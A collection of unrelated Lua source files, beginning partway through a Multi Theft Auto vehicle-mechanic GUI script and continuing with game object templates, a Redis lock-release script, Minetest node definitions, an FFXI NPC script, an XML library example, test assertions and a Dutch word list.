local Height = 300 local screenwidth, screenheight = guiGetScreenSize() local X = (screenwidth - Width)/2 local Y = (screenheight - Height)/2 if not (wPaint) then guiSetInputEnabled(true) -- Create the window wPaint = guiCreateWindow(X, Y, Width, Height, "Enter the colours to paint the vehicle.", false ) -- Colour chart image colourChart = guiCreateStaticImage( 0.05, 0.1, 0.75, 0.65, "mechanic/colourChart.png", true, wPaint) -- colour ID inputs iColour1 = guiCreateEdit( 0.85, 0.2, 0.25, 0.075, "", true, wPaint ) lcol1 = guiCreateLabel( 0.85, 0.1, 0.25, 0.075, "Colour 1 ID", true, wPaint ) iColour2 = guiCreateEdit( 0.85, 0.4, 0.25, 0.075, "", true, wPaint ) lcol2 = guiCreateLabel( 0.85, 0.3, 0.25, 0.075, "Colour 2 ID", true, wPaint ) iColour3 = guiCreateEdit( 0.85, 0.6, 0.25, 0.075, "", true, wPaint ) lcol3 = guiCreateLabel( 0.85, 0.5, 0.25, 0.075, "Colour 3 ID", true, wPaint ) iColour4 = guiCreateEdit( 0.85, 0.8, 0.25, 0.075, "", true, wPaint ) lcol4 = guiCreateLabel( 0.85, 0.7, 0.25, 0.075, "Colour 4 ID", true, wPaint ) -- Repaint bPaintSubmit = guiCreateButton( 0.05, 0.8, 0.3, 0.2, "Paint Vehicle", true, wPaint ) addEventHandler( "onClientGUIClick", bPaintSubmit, function(button, state) if(button == "left" and state == "up") then local col1 = guiGetText(iColour1) local col2 = guiGetText(iColour2) local col3 = guiGetText(iColour3) local col4 = guiGetText(iColour4) if(col1 == "") and (col2 == "") and (col3 == "") and (col4 == "") then outputChatBox("You need to input at least one colour ID", 255, 0, 0) else if(col1 == "") then col1 = nil end if(col2 == "") then col2 = nil end if(col3 == "") then col3 = nil end if(col4 == "") then col4 = nil end triggerServerEvent( "colorEndPreview", getLocalPlayer(), currentVehicle) triggerServerEvent( "repaintVehicle", getLocalPlayer(), currentVehicle, col1, col2, col3, col4) closeMechanicWindow() end end end, false) addEventHandler( "onClientGUIChanged", iColour1, previewColors, false ) addEventHandler( "onClientGUIChanged", iColour2, previewColors, false ) addEventHandler( "onClientGUIChanged", iColour3, previewColors, false ) addEventHandler( "onClientGUIChanged", iColour4, previewColors, false ) -- Close bPaintClose = guiCreateButton( 0.35, 0.8, 0.3, 0.2, "Close", true, wPaint ) addEventHandler( "onClientGUIClick", bPaintClose, function(button, state) if(button == "left" and state == "up") then destroyElement(iColour1) destroyElement(iColour2) destroyElement(iColour3) destroyElement(iColour4) destroyElement(lcol1) destroyElement(lcol2) destroyElement(lcol3) destroyElement(lcol4) destroyElement(colourChart) destroyElement(bPaintClose) destroyElement(wPaint) wPaint, iColour1, iColour2, iColour3, iColour4, lcol1, lcol2, lcol3, lcol4, colourChart, bPaintClose = nil triggerServerEvent( "colorEndPreview", getLocalPlayer(), currentVehicle) guiSetInputEnabled(false) end end, false) end end function paintjobWindow() -- Window variables local Width = 200 local Height = 300 local screenwidth, screenheight = guiGetScreenSize() local X = (screenwidth - Width)/2 local Y = (screenheight - Height)/2 if not (wPaintjob) then oldPaintjob = getVehiclePaintjob( currentVehicle ) oldColors = { getVehicleColor( currentVehicle ) } -- Create the window wPaintjob = guiCreateWindow(X+100, Y, Width, Height, "Select a new Paintjob.", false ) -- Paintjob 1 bPaintjob1 = guiCreateButton( 0.05, 0.1, 0.9, 0.17, "Paintjob 1", true, wPaintjob ) addEventHandler( "onClientGUIClick", bPaintjob1, function(button, state) if(button == "left" and state == "up") then triggerServerEvent( "paintjobChange", getLocalPlayer(), currentVehicle, 0) closeMechanicWindow() end end, false) addEventHandler( "onClientMouseEnter", bPaintjob1, function() if source == bPaintjob1 then triggerServerEvent( "paintjobPreview", getLocalPlayer(), currentVehicle, 0) end end) -- Paintjob 2 bPaintjob2 = guiCreateButton( 0.05, 0.3, 0.9, 0.17, "Paintjob 2", true, wPaintjob ) addEventHandler( "onClientGUIClick", bPaintjob2, function(button, state) if(button == "left" and state == "up") then triggerServerEvent( "paintjobChange", getLocalPlayer(), currentVehicle, 1) closeMechanicWindow() end end, false) addEventHandler( "onClientMouseEnter", bPaintjob2, function() if source == bPaintjob2 then triggerServerEvent( "paintjobPreview", getLocalPlayer(), currentVehicle, 1) end end) -- Paintjob 3 bPaintjob3 = guiCreateButton( 0.05, 0.5, 0.9, 0.17, "Paintjob 3", true, wPaintjob ) addEventHandler( "onClientGUIClick", bPaintjob3, function(button, state) if(button == "left" and state == "up") then triggerServerEvent( "paintjobChange", getLocalPlayer(), currentVehicle, 2) closeMechanicWindow() end end, false) addEventHandler( "onClientMouseEnter", bPaintjob3, function() if source == bPaintjob3 then triggerServerEvent( "paintjobPreview", getLocalPlayer(), currentVehicle, 2) end end) -- Paintjob 4 bPaintjob4 = guiCreateButton( 0.05, 0.7, 0.9, 0.17, "Paintjob 4", true, wPaintjob ) addEventHandler( "onClientGUIClick", bPaintjob4, function(button, state) if(button == "left" and state == "up") then triggerServerEvent( "paintjobChange", getLocalPlayer(), currentVehicle, 3) closeMechanicWindow() end end, false) addEventHandler( "onClientMouseEnter", bPaintjob4, function() if source == bPaintjob4 then triggerServerEvent( "paintjobPreview", getLocalPlayer(), currentVehicle, 3) end end) function restorePaintjob() triggerServerEvent( "paintjobEndPreview", getLocalPlayer(), currentVehicle) end addEventHandler( "onClientMouseLeave", bPaintjob1, restorePaintjob) addEventHandler( "onClientMouseLeave", bPaintjob2, restorePaintjob) addEventHandler( "onClientMouseLeave", bPaintjob3, restorePaintjob) addEventHandler( "onClientMouseLeave", bPaintjob4, restorePaintjob) -- Close bPaintjobClose = guiCreateButton( 0.05, 0.9, 0.9, 0.1, "Close", true, wPaintjob ) addEventHandler( "onClientGUIClick", bPaintjobClose, function(button, state) if(button == "left" and state == "up") then destroyElement(bPaintjob1) destroyElement(bPaintjob2) destroyElement(bPaintjob3) destroyElement(bPaintjob4) destroyElement(bPaintjobClose) destroyElement(wPaintjob) wPaintjob, bPaintjob1, bPaintjob2, bPaintjob3, bPaintjob4, bPaintjobClose = nil triggerServerEvent( "paintjobEndPreview", getLocalPlayer(), currentVehicle) end end, false) end end local spoilerPrice = 8000 local hoodPrice = 2700 local sideskirtPrice = 5000 local roofPrice = 2500 local lightPrice = 1500 local wheelPrice = 4500 local exhaustPrice = 2000 local bullbarPrice = 3000 local bumperPrice = 3000 local upgrades = { { "Pro", spoilerPrice }, -- TRANSFENDER { "Win", spoilerPrice }, { "Drag", spoilerPrice }, { "Alpha", spoilerPrice }, { "Champ Scoop", hoodPrice }, { "Fury Scoop", hoodPrice }, { "Roof Scoop", roofPrice }, { "Right Sideskirt", sideskirtPrice }, --{ "5x Nitro", 10000 }, -- NOS --{ "2x Nitro", 6000 }, --{ "10x Nitro", 20000 }, false, false, false, { "Race Scoop", hoodPrice }, -- TRANSFENDER { "Worx Scoop", hoodPrice }, { "Round Fog", lightPrice }, { "Champ", spoilerPrice }, { "Race", spoilerPrice }, { "Worx", spoilerPrice }, { "Left Sideskirt", sideskirtPrice }, { "Upswept", exhaustPrice }, { "Twin", exhaustPrice }, { "Large", exhaustPrice }, { "Medium", exhaustPrice }, { "Small", exhaustPrice }, { "Fury", spoilerPrice }, { "Square Fog", lightPrice }, { "Offroad", wheelPrice }, { "Right Alien Sideskirt", sideskirtPrice }, -- SULTAN { "Left Alien Sideskirt", sideskirtPrice }, { "Alien", exhaustPrice }, { "X-Flow", exhaustPrice }, { "Left X-Flow Sideskirt", sideskirtPrice }, { "Right X-Flow Sideskirt", sideskirtPrice }, { "Alien Roof Vent", roofPrice }, { "X-Flow Roof Vent", roofPrice }, { "Alien", exhaustPrice }, -- ELEGY { "X-Flow Roof Vent", roofPrice }, { "Right Alien Sideskirt", sideskirtPrice }, { "X-Flow", exhaustPrice }, { "Alien Roof Vent", roofPrice }, { "Left X-Flow Sideskirt", sideskirtPrice }, { "Left Alien Sideskirt", sideskirtPrice }, { "Right X-Flow Sideskirt", sideskirtPrice }, { "Right Chrome Sideskirt", sideskirtPrice }, -- BROADWAY { "Slamin", exhaustPrice }, { "Chrome", exhaustPrice }, { "X-Flow", exhaustPrice }, -- FLASH { "Alien", exhaustPrice }, { "Right Alien Sideskirt", sideskirtPrice }, { "Right X-Flow Sideskirt", sideskirtPrice }, { "Alien", spoilerPrice }, { "X-Flow", spoilerPrice }, { "Left Alien Sideskirt", sideskirtPrice }, { "Left X-Flow Sideskirt", sideskirtPrice }, { "X-Flow", roofPrice }, { "Alien", roofPrice }, { "Alien", roofPrice }, -- STRATUM { "Right Alien Sideskirt", sideskirtPrice }, { "Right X-Flow Sideskirt", sideskirtPrice }, { "Alien", spoilerPrice }, { "X-Flow", exhaustPrice }, { "X-Flow", spoilerPrice }, { "X-Flow", roofPrice }, { "Left Alien Sideskirt", sideskirtPrice }, { "Left X-Flow Sideskirt", sideskirtPrice }, { "Alien", exhaustPrice }, { "Alien", exhaustPrice }, -- JESTER { "X-Flow", exhaustPrice }, { "Alien", roofPrice }, { "X-Flow", roofPrice }, { "Right Alien Sideskirt", sideskirtPrice }, { "Right X-Flow Sideskirt", sideskirtPrice }, { "Left Alien Sideskirt", sideskirtPrice }, { "Left X-Flow Sideskirt", sideskirtPrice }, { "Shadow", wheelPrice }, -- MOST CARS (WHEELS) { "Mega", wheelPrice }, { "Rimshine", wheelPrice }, { "Wires", wheelPrice }, { "Classic", wheelPrice }, { "Twist", wheelPrice }, { "Cutter", wheelPrice }, { "Switch", wheelPrice }, { "Grove", wheelPrice }, { "Import", wheelPrice }, { "Dollar", wheelPrice }, { "Trance", wheelPrice }, { "Atomic", wheelPrice }, { "Stereo", 1000 }, { "Hydraulics", 2200 }, { "Alien", roofPrice }, -- URANUS { "X-Flow", exhaustPrice }, { "Right Alien Sideskirt", sideskirtPrice }, { "X-Flow", roofPrice }, { "Alien", exhaustPrice }, { "Right X-Flow Sideskirt", sideskirtPrice }, { "Left Alien Sideskirt", sideskirtPrice }, { "Left X-Flow Sideskirt", sideskirtPrice }, { "Ahab", wheelPrice }, -- MOST CARS(WHEELS) { "Virtual", wheelPrice }, { "Access", wheelPrice }, { "Left Chrome Sideskirt", sideskirtPrice }, -- BROADWAY { "Chrome Grill", 4000 }, -- REMINGTON { "Left Chrome Flames Sideskirt", sideskirtPrice }, { "Left Chrome Strip Sideskirt", sideskirtPrice }, -- SAVANNA { "Covertible", roofPrice }, -- BLADE { "Chrome", exhaustPrice }, { "Slamin", exhaustPrice }, { "Right Chrome Arches", sideskirtPrice }, -- REMINGTON { "Left Chrome Strip Sideskirt", sideskirtPrice }, -- BLADE { "Right Chrome Strip Sideskirt", sideskirtPrice }, { "Chrome", bullbarPrice }, -- SLAMVAN { "Slamin", bullbarPrice }, false, false, { "Chrome", exhaustPrice }, { "Slamin", exhaustPrice }, { "Chrome", bullbarPrice }, { "Slamin", bullbarPrice }, { "Chrome", bumperPrice }, { "Right Chrome Trim Sideskirt", sideskirtPrice }, { "Right Wheelcovers Sideskirt", sideskirtPrice }, { "Left Chrome Trim Sideskirt", sideskirtPrice }, { "Left Wheelcovers Sideskirt", sideskirtPrice }, { "Right Chrome Flames Sideskirt", sideskirtPrice }, -- REMINGTON { "Bullbar Chrome Bars", bullbarPrice }, { "Left Chrome Arches Sideskirt", sideskirtPrice }, { "Bullbar Chrome Lights", bullbarPrice }, { "Chrome Exhaust", exhaustPrice }, { "Slamin Exhaust", exhaustPrice }, { "Vinyl Hardtop", roofPrice }, -- BLADE { "Chrome", exhaustPrice }, -- SAVANNA { "Hardtop", roofPrice }, { "Softtop", roofPrice }, { "Slamin", exhaustPrice }, { "Right Chrom Strip Sideskirt", sideskirtPrice }, { "Right Chrom Strip Sideskirt", sideskirtPrice }, -- TORNADO { "Slamin", exhaustPrice }, { "Chrome", exhaustPrice }, { "Left Chrome Strip Sideskirt", sideskirtPrice }, { "Alien", spoilerPrice }, -- SULTAN { "X-Flow", spoilerPrice }, { "X-Flow", bumperPrice }, { "Alien", bumperPrice }, { "Left Oval Vents", 500 }, -- CERTAIN TRANSFENDER CARS { "Right Oval Vents", 500 }, { "Left Square Vents", 500 }, { "Right Square Vents", 500 }, { "X-Flow", spoilerPrice }, -- ELEGY { "Alien", spoilerPrice }, { "X-Flow", bumperPrice }, { "Alien", bumperPrice }, { "Alien", bumperPrice }, -- FLASH { "X-Flow", bumperPrice }, { "X-Flow", bumperPrice }, { "Alien", bumperPrice }, { "Alien", bumperPrice }, -- STRATUM { "Alien", bumperPrice }, { "X-Flow", bumperPrice }, { "X-Flow", bumperPrice }, { "X-Flow", spoilerPrice }, -- JESTER { "Alien", bumperPrice }, { "Alien", bumperPrice }, { "X-Flow", bumperPrice }, { "Alien", spoilerPrice }, { "X-Flow", spoilerPrice }, -- URANUS { "Alien", spoilerPrice }, { "X-Flow", bumperPrice }, { "Alien", bumperPrice }, { "X-Flow", bumperPrice }, { "Alien", bumperPrice }, { "Alien", bumperPrice }, -- SULTAN { "X-Flow", bumperPrice }, { "Alien", bumperPrice }, -- ELEGY { "X-Flow", bumperPrice }, { "X-Flow", bumperPrice }, -- JESTER { "Chrome", bumperPrice }, -- BROADWAY { "Slamin", bumperPrice }, { "Chrome", bumperPrice }, { "Slamin", bumperPrice }, { "Slamin", bumperPrice }, -- REMINGTON { "Chrome", bumperPrice }, { "Chrome", bumperPrice }, { "Slamin", bumperPrice }, -- BLADE { "Chrome", bumperPrice }, { "Slamin", bumperPrice }, { "Chrome", bumperPrice }, { "Slamin", bumperPrice }, -- REMINGTON { "Slamin", bumperPrice }, -- SAVANNA { "Chrome", bumperPrice }, { "Slamin", bumperPrice }, { "Chrome", bumperPrice }, { "Slamin", bumperPrice }, -- TORNADO { "Chrome", bumperPrice }, { "Chrome", bumperPrice }, { "Slamin", bumperPrice } } oldUpgradeSlot = nil function upgradeWindow() -- Window variables local Width = 270 local Height = 300 local screenwidth, screenheight = guiGetScreenSize() local X = (screenwidth - Width)/2 local Y = (screenheight - Height)/2 if not (wUpgrades) then -- Create the window wUpgrades = guiCreateWindow(X+100, Y, Width, Height, "Select the Upgrades you want", false ) -- Add a gridlist with upgrades gUpgrades = guiCreateGridList( 0.05, 0.1, 0.9, 0.75, true, wUpgrades ) cUpgradeName = guiGridListAddColumn( gUpgrades, "Name", 0.62 ) cUpgradePrice = guiGridListAddColumn( gUpgrades, "Price", 0.25 ) cUpgradeSlot = guiGridListAddColumn( gUpgrades, "", 0.01 ) -- add all compatible upgrades for i = 0, 16 do if i ~= 8 then -- skip nos local slotupgrades = getVehicleCompatibleUpgrades(currentVehicle, i) if #slotupgrades > 0 then local row = guiGridListAddRow( gUpgrades ) guiGridListSetItemText( gUpgrades, row, cUpgradeName, getVehicleUpgradeSlotName(i), true, false) local currentUpgrade = getVehicleUpgradeOnSlot(currentVehicle, i) -- add all items for that category for key, value in pairs(slotupgrades) do local upgrade = upgrades[value - 999] if upgrade then local row = guiGridListAddRow( gUpgrades ) guiGridListSetItemText( gUpgrades, row, cUpgradeName, upgrade[1], false, true) guiGridListSetItemData( gUpgrades, row, cUpgradeName, tostring(value)) guiGridListSetItemText( gUpgrades, row, cUpgradePrice, "$" .. upgrade[2], false, true) guiGridListSetItemData( gUpgrades, row, cUpgradePrice, tostring(upgrade[2])) guiGridListSetItemText( gUpgrades, row, cUpgradeSlot, " ", false, true) guiGridListSetItemData( gUpgrades, row, cUpgradeSlot, tostring(i)) end end end end end addEventHandler( "onClientGUIClick", gUpgrades, function(button, state) if button == "left" and state == "up" then if oldUpgradeSlot then triggerServerEvent( "upgradeEndPreview", getLocalPlayer(), currentVehicle, oldUpgradeSlot) oldUpgradeSlot = nil end local row, col = guiGridListGetSelectedItem(gUpgrades) if row ~= -1 and col ~= -1 then oldUpgradeSlot = tonumber(guiGridListGetItemData(gUpgrades, row, 3)) triggerServerEvent( "upgradePreview", getLocalPlayer(), currentVehicle, tonumber(guiGridListGetItemData(gUpgrades, row, 1)), oldUpgradeSlot) end end end) addEventHandler( "onClientGUIDoubleClick", gUpgrades, function(button, state) if button == "left" and state == "up" then if oldUpgradeSlot then triggerServerEvent( "upgradeEndPreview", getLocalPlayer(), currentVehicle, oldUpgradeSlot) oldUpgradeSlot = nil end local row, col = guiGridListGetSelectedItem(gUpgrades) if row ~= -1 and col ~= -1 then triggerServerEvent( "changeVehicleUpgrade", getLocalPlayer(), currentVehicle, tonumber(guiGridListGetItemData(gUpgrades, row, 1)), guiGridListGetItemText(gUpgrades, row, 1), tonumber(guiGridListGetItemData(gUpgrades, row, 2))) end end end) -- Close bUpgradesClose = guiCreateButton( 0.05, 0.9, 0.9, 0.1, "Close", true, wUpgrades ) addEventHandler( "onClientGUIClick", bUpgradesClose, function(button, state) if(button == "left" and state == "up") then if oldUpgradeSlot then triggerServerEvent( "upgradeEndPreview", getLocalPlayer(), currentVehicle, oldUpgradeSlot) oldUpgradeSlot = nil end destroyElement(bUpgradesClose) destroyElement(gUpgrades) destroyElement(wUpgrades) wUpgrades, gUpgrades, bUpgradesClose = nil end end, false) end end function serviceTrigger() triggerServerEvent( "serviceVehicle", getLocalPlayer(), currentVehicle ) closeMechanicWindow() end function bodyworkTrigger() triggerServerEvent( "repairBody", getLocalPlayer(), currentVehicle ) closeMechanicWindow() end function closeMechanicWindow() if(wTyre)then destroyElement(bTyreOne) if bTyreTwo then destroyElement(bTyreTwo) end destroyElement(bTyreThree) if bTyreFour then destroyElement(bTyreFour) end destroyElement(bTyreClose) destroyElement(wTyre) wTyre, bTyreOne, bTyreTwo, bTyreThree, bTyreFour, bTyreClose = nil end if(wPaint)then destroyElement(iColour1) destroyElement(iColour2) destroyElement(iColour3) destroyElement(iColour4) destroyElement(lcol1) destroyElement(lcol2) destroyElement(lcol3) destroyElement(lcol4) destroyElement(colourChart) destroyElement(bPaintClose) destroyElement(wPaint) wPaint, iColour1, iColour2, iColour3, iColour4, lcol1, lcol2, lcol3, lcol4, colourChart, bPaintClose = nil triggerServerEvent( "colorEndPreview", getLocalPlayer(), currentVehicle) guiSetInputEnabled(false) end if wPaintjob then destroyElement(bPaintjob1) destroyElement(bPaintjob2) destroyElement(bPaintjob3) destroyElement(bPaintjob4) destroyElement(bPaintjobClose) destroyElement(wPaintjob) wPaintjob, bPaintjob1, bPaintjob2, bPaintjob3, bPaintjob4, bPaintjobClose = nil triggerServerEvent( "paintjobEndPreview", getLocalPlayer(), currentVehicle) end if wUpgrades then destroyElement(bUpgradesClose) destroyElement(gUpgrades) destroyElement(wUpgrades) wUpgrades, gUpgrades, bUpgradesClose = nil if oldUpgradeSlot then triggerServerEvent( "upgradeEndPreview", getLocalPlayer(), currentVehicle, oldUpgradeSlot) oldUpgradeSlot = nil end end destroyElement(bMechanicOne) destroyElement(bMechanicTwo) if bMechanicThree then destroyElement(bMechanicThree) end destroyElement(bMechanicFour) if bMechanicFive then destroyElement(bMechanicFive) end if bMechanicSix then destroyElement(bMechanicSix) end destroyElement(bMechanicClose) destroyElement(wMechanic) wMechanic, bMechanicOne, bMechanicOne, bMechanicClose, bMechanicThree, bMechanicFour, bMechanicFive, bMechanicSix = nil currentVehicle = nil showCursor(false) end
object_tangible_furniture_all_frn_all_couch_lg_hue_s2 = object_tangible_furniture_all_shared_frn_all_couch_lg_hue_s2:new { } ObjectTemplates:addTemplate(object_tangible_furniture_all_frn_all_couch_lg_hue_s2, "object/tangible/furniture/all/frn_all_couch_lg_hue_s2.iff")
-- 删除锁的时候,找到 key 对应的 value,跟自己传过去的 value 做比较,如果是一样的才删除。 local temp = redis.call("get",KEYS[1]) if temp then if temp == ARGV[1] then return redis.call("del",KEYS[1]) else return 0 end else return 1 end
--numbers --1 minetest.register_node('mrblock:1', { tile_images = {'1.png'}, inventory_image = '1.png', sunlight_propagates = true, paramtype = 'light', walkable = true, climbable = false, diggable = true, drawtype = "nodebox", groups = { choppy = 3, oddly_breakable_by_hand = 1}, material = minetest.digprop_constanttime(1.0), description = "1" }) -- 2 minetest.register_node('mrblock:2', { tile_images = {'2.png'}, inventory_image = '2.png', sunlight_propagates = true, paramtype = 'light', walkable = true, climbable = false, diggable = true, drawtype = "nodebox", groups = { choppy = 3, oddly_breakable_by_hand = 1}, material = minetest.digprop_constanttime(1.0), description = "2" }) -- 3 minetest.register_node('mrblock:3', { tile_images = {'3.png'}, inventory_image = '3.png', sunlight_propagates = true, paramtype = 'light', walkable = true, climbable = false, diggable = true, drawtype = "nodebox", groups = { choppy = 3, oddly_breakable_by_hand = 1}, material = minetest.digprop_constanttime(1.0), description = "3" }) --4 minetest.register_node('mrblock:4', { tile_images = {'4.png'}, inventory_image = '4.png', sunlight_propagates = true, paramtype = 'light', walkable = true, climbable = false, diggable = true, drawtype = "nodebox", groups = { choppy = 3, oddly_breakable_by_hand = 1}, material = minetest.digprop_constanttime(1.0), description = "4" }) --5 minetest.register_node('mrblock:5', { tile_images = {'5.png'}, inventory_image = '5.png', sunlight_propagates = true, paramtype = 'light', walkable = true, climbable = false, diggable = true, drawtype = "nodebox", groups = { choppy = 3, oddly_breakable_by_hand = 1}, material = minetest.digprop_constanttime(1.0), description = "5" })
----------------------------------- -- Area: Behemoth's Dominion -- NPC: Cermet Headstone -- Involved in Mission: ZM5 Headstone Pilgrimage (Lightning Headstone) -- !pos -74 -4 -87 127 ----------------------------------- local ID = require("scripts/zones/Behemoths_Dominion/IDs"); require("scripts/globals/keyitems"); require("scripts/globals/missions"); require("scripts/globals/titles"); function onTrade(player,npc,trade) end; function onTrigger(player,npc) -- HEADSTONE PILGRIMAGE if (player:getCurrentMission(ZILART) == tpz.mission.id.zilart.HEADSTONE_PILGRIMAGE) then if (player:hasKeyItem(tpz.ki.LIGHTNING_FRAGMENT)) then player:messageSpecial(ID.text.ALREADY_OBTAINED_FRAG,tpz.ki.LIGHTNING_FRAGMENT); elseif (os.time() >= npc:getLocalVar("cooldown")) then if (not GetMobByID(ID.mob.ANCIENT_WEAPON):isSpawned() and not GetMobByID(ID.mob.LEGENDARY_WEAPON):isSpawned()) then player:startEvent(200,tpz.ki.LIGHTNING_FRAGMENT); else player:messageSpecial(ID.text.SOMETHING_BETTER); end else player:addKeyItem(tpz.ki.LIGHTNING_FRAGMENT); if ( player:hasKeyItem(tpz.ki.ICE_FRAGMENT) and player:hasKeyItem(tpz.ki.EARTH_FRAGMENT) and player:hasKeyItem(tpz.ki.WATER_FRAGMENT) and player:hasKeyItem(tpz.ki.FIRE_FRAGMENT) and player:hasKeyItem(tpz.ki.WIND_FRAGMENT) and player:hasKeyItem(tpz.ki.LIGHT_FRAGMENT) ) then player:messageSpecial(ID.text.FOUND_ALL_FRAGS,tpz.ki.LIGHTNING_FRAGMENT); player:addTitle(tpz.title.BEARER_OF_THE_EIGHT_PRAYERS); player:completeMission(ZILART,tpz.mission.id.zilart.HEADSTONE_PILGRIMAGE); player:addMission(ZILART,tpz.mission.id.zilart.THROUGH_THE_QUICKSAND_CAVES); else player:messageSpecial(ID.text.KEYITEM_OBTAINED,tpz.ki.LIGHTNING_FRAGMENT); end end -- DEFAULT DIALOGS elseif (player:hasCompletedMission(ZILART,tpz.mission.id.zilart.HEADSTONE_PILGRIMAGE)) then player:messageSpecial(ID.text.ZILART_MONUMENT); else player:messageSpecial(ID.text.CANNOT_REMOVE_FRAG); end end; function onEventUpdate(player,csid,option) end; function onEventFinish(player,csid,option) -- HEADSTONE PILGRIMAGE if (csid == 200 and option == 1) then SpawnMob(ID.mob.ANCIENT_WEAPON):updateClaim(player); SpawnMob(ID.mob.LEGENDARY_WEAPON):updateClaim(player); end end;
#!/usr/bin/env luajit local xmlua = require("xmlua") local xml = [[ <root> <sub1>text1</sub1> <sub2>text2</sub2> <sub3>text3</sub3> </root> ]] local document = xmlua.XML.parse(xml) -- Searches the <root> element local root_node_set = document:search("/root") -- You can use "#" for getting the number of matched nodes print(#root_node_set) -- -> 1 -- You can access the N-th node by "[]". -- It's 1-origin like normal table. local root = root_node_set[1] -- xmlua.Element print(root:to_xml()) -- <root> -- <sub1>text1</sub1> -- <sub2>text2</sub2> -- <sub3>text3</sub3> -- </root> -- Searches all sub elements under the <root> element local all_subs = root:search("*") -- You can use "#" for getting the number of matched nodes print(#all_subs) -- -> 3 -- You can access the N-th node by "[]". print(all_subs[1]:to_xml()) -- -> <sub1>text1</sub1> print(all_subs[2]:to_xml()) -- -> <sub2>text2</sub2> print(all_subs[3]:to_xml()) -- -> <sub3>text3</sub3>
sptbl["timer"] = { files = { module = "timer.c", header = "timer.h", example = "ex_timer.c", }, func = { create = "sp_timer_create", destroy = "sp_timer_destroy", init = "sp_timer_init", compute = "sp_timer_compute", }, params = { }, modtype = "module", description = [[Tap-tempo like timer When triggered, timer will begin an internal stopwatch until it is triggered again. The output of the timer will be the time elapsed in seconds. ]], ninputs = 1, noutputs = 1, inputs = { { name = "clock", description = "When non-zero, will start/stop the timer." }, }, outputs = { { name = "out", description = "Outputs the time of the last timer (in seconds)." }, } }
tile_to_screen = function(config, x_tile, y_tile) local x_screen = config.x_offset + (x_tile - 1) * config.width local y_screen = config.y_offset + (y_tile - 1) * config.height return { x = x_screen, y = y_screen } end screen_to_tile = function(config, x_screen, y_screen) local x_tile = 1 + math.floor((x_screen - config.x_offset) / config.width) local y_tile = 1 + math.floor((y_screen - config.y_offset) / config.height) return { x = x_tile, y = y_tile } end
AtlasLootDB = { }
--package.path = "../?.lua;"..package.path; --[[ This is an example of a startup for bestdesk.exe The general idea is, you want to specify how the desktop looks upon starting the application. So, this is part configuration, part app playground. Really there should be specifically named desktop configurations, and all the app specifics should be in "APP_specific.lua" files, which the configuration simply loads. Of particular note, there MUST be a globaly 'startup()' function. This is what bestdesk.exe is expecting to see, and will use it as a startup. None of the BEST environment is available to the configuration until this startup function has been called. In particular, none of the scheduler functions are available. ]] local Slider = require("slider") local MotionConstraint = require("MotionConstraint") local SliderThumb = require("SliderThumb") local BView = require("BView") local page = require("FontListPage") local functor = require("functor") local Checkerboard = require("CheckerGraphic") local vkeys = require("vkeys") local ContextRecorder = require("ContextRecorder") function app() local dSize = WMGetDesktopSize() -- Create a checkerboard pattern to use as the -- desktop wallpaper local wp = Checkerboard:new({ frame={x=0,y=0,width=dSize.width,height=dSize.height}, --columns = 64, --rows = 64 }) WMSetWallpaper(wp) -- start by creating a window local winFrame = {frame = {x=40,y=40, width = 800, height = 600}} local win1 = WMCreateWindow(winFrame) -- Now start to compose window contents -- create the window and its contents -- this should go into a seprate 'app' local pageSize = page:getPreferredSize() local p = page:new({frame = {x=0, y = 0, width = pageSize.width, height = pageSize.height}}) local view = BView:new({ frame = {x=40,y=40,width = pageSize.width, height = win1.frame.height-80}, page = p, }) function win1.drawBackground(self, ctx) ctx:fill(255) ctx:rect(0,0,self.frame.width, self.frame.height) end win1:add(view) -- create a slider local vSliderThumb = SliderThumb:new({ frame = {x=0,y=0,width=24,height=60}; }) local vSliderFrame = {x=view.frame.x+view.frame.width + 4, y=view.frame.y, width=vSliderThumb.frame.width, height=view.frame.height} local vSliderConstraint = MotionConstraint:new({ minX = 0, maxX = 0, minY = 0, maxY = vSliderFrame.height-vSliderThumb.frame.height}) local vSliderParams = { title = "vertical", bgColor = color(0xff,0,0); position={x=0,y=0}; startPoint = {x=vSliderFrame.width/2, y=0}; endPoint = {x=vSliderFrame.width/2, y = vSliderFrame.height}; frame= vSliderFrame; constraint = vSliderConstraint; thumb = vSliderThumb; } local vSlider = Slider:new(vSliderParams) --win1:add(hSlider) win1:add(vSlider) local function handleChange(a,b,c) print("handleChange: ",a,b,c) end on(vSlider, functor(view.handleVerticalPositionChange, view)) win1:show() local function drawproc() win1:draw() end local recorder = ContextRecorder:new({ frameRate = 10; maxFrames = 100; drawingContext = win1.drawingContext; basename = "output\\fontlist"; }) --recorder:record(); periodic(1000/20, drawproc) end require("windowapp")
local desc = fs.read(path.expand("$sd/../../dump.desc.json")) local instance = Instance.new("BoolValue") T.Pass(instance[sym.Desc] == nil , "initializes with nil") T.Pass(function() instance[sym.Desc] = desc end , "can be set to RootDesc") T.Pass(instance[sym.Desc] == desc , "returns RootDesc after being set to RootDesc") T.Pass(function() instance[sym.Desc] = nil end , "can be set to nil") T.Pass(instance[sym.Desc] == nil , "returns nil after being set to nil") T.Pass(function() instance[sym.Desc] = false end , "can be set to false") T.Fail(function() instance[sym.Desc] = true end , "cannot be set to true") T.Pass(instance[sym.Desc] == nil , "returns nil after being set to false") T.Fail(function() instance[sym.Desc] = "foobar" end, "errors without RootDesc, false, or nil") T.Pass(function() instance[sym.RawDesc] = desc end , "setting RawDesc to RootDesc sets Desc") T.Pass(instance[sym.Desc] == desc , "returns RootDesc after RawDesc is set to RootDesc") T.Pass(function() instance[sym.RawDesc] = nil end , "setting RawDesc to nil sets Desc") T.Pass(instance[sym.Desc] == nil , "returns nil after RawDesc is set to nil") T.Pass(function() instance[sym.RawDesc] = false end, "setting RawDesc to false sets Desc") T.Pass(instance[sym.Desc] == nil , "returns nil after RawDesc is set to false")
return {'gonade','gondel','gondelier','gondellied','gondellift','gondelvaart','gondola','gong','gongslag','goniometer','goniometrie','goniometrisch','gonje','gonjezak','gonorroe','gons','gonzen','gondelbaan','gonneke','gonnie','gontrode','gonggrijp','gonda','gonzalez','gondeliers','gondels','gondeltje','gondeltjes','gondelvaarten','gongs','gongslagen','goniometrische','gonsde','gonsden','gonst','gonzende','gonaden','gondelliederen','gondelliften','gonzend','gondolas','goniometers','gondas','gonnekes','gonnies','gondelbanen'}
Constants = require("game.Constants") GameData = require("game.GameData") Fonts = require("game.Fonts") Controller = require("game.Controller") MapManager = require("game.MapManager") BallController = require("game.BallController") require("game.entities.init") require("game.screens.init") require("game.input.init")
